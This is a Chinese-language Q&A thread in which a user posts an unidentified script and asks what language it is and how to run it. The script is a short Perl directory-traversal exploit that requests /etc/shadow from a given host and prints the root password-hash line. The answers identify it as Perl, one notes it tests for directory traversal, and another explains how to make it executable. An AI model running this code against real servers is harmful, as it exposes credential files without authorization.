programming-languages - 那是什么样的代码？

Question

我这里有一个代码，但我不知道它是用什么语言编写的，以及如何运行它。

use LWP::UserAgent;
$host = $ARGV[0];
chomp($host);
if($host !~ /http:\/\//) { $host = "http://$host"; };

my $ua = LWP::UserAgent->new;
$ua->timeout(30);
$lfi = "/help/../../../../../../../../etc/shadow";
$url = $host.$lfi;
$request = HTTP::Request->new('GET', $url); $response =
$ua->request($request); my $html = $response->content; if($html =~ /root/) {
print "root$' \n" ; }

Answer 1

对我来说看起来像 Perl。你试过了吗

perl thefile?

Answer 2

确定的 Perl。这是一个简单的脚本来“测试”网络服务器对目录遍历攻击： https ://en.wikipedia.org/wiki/Directory_traversal_attack

Answer 3

它看起来像 Perl。

在顶部添加一行：

#!/usr/bin/perl -w

然后chmod +x你就可以像运行任何程序一样运行它。

编辑：如果你在 Windows 上，你会想检查http://strawberryperl.com/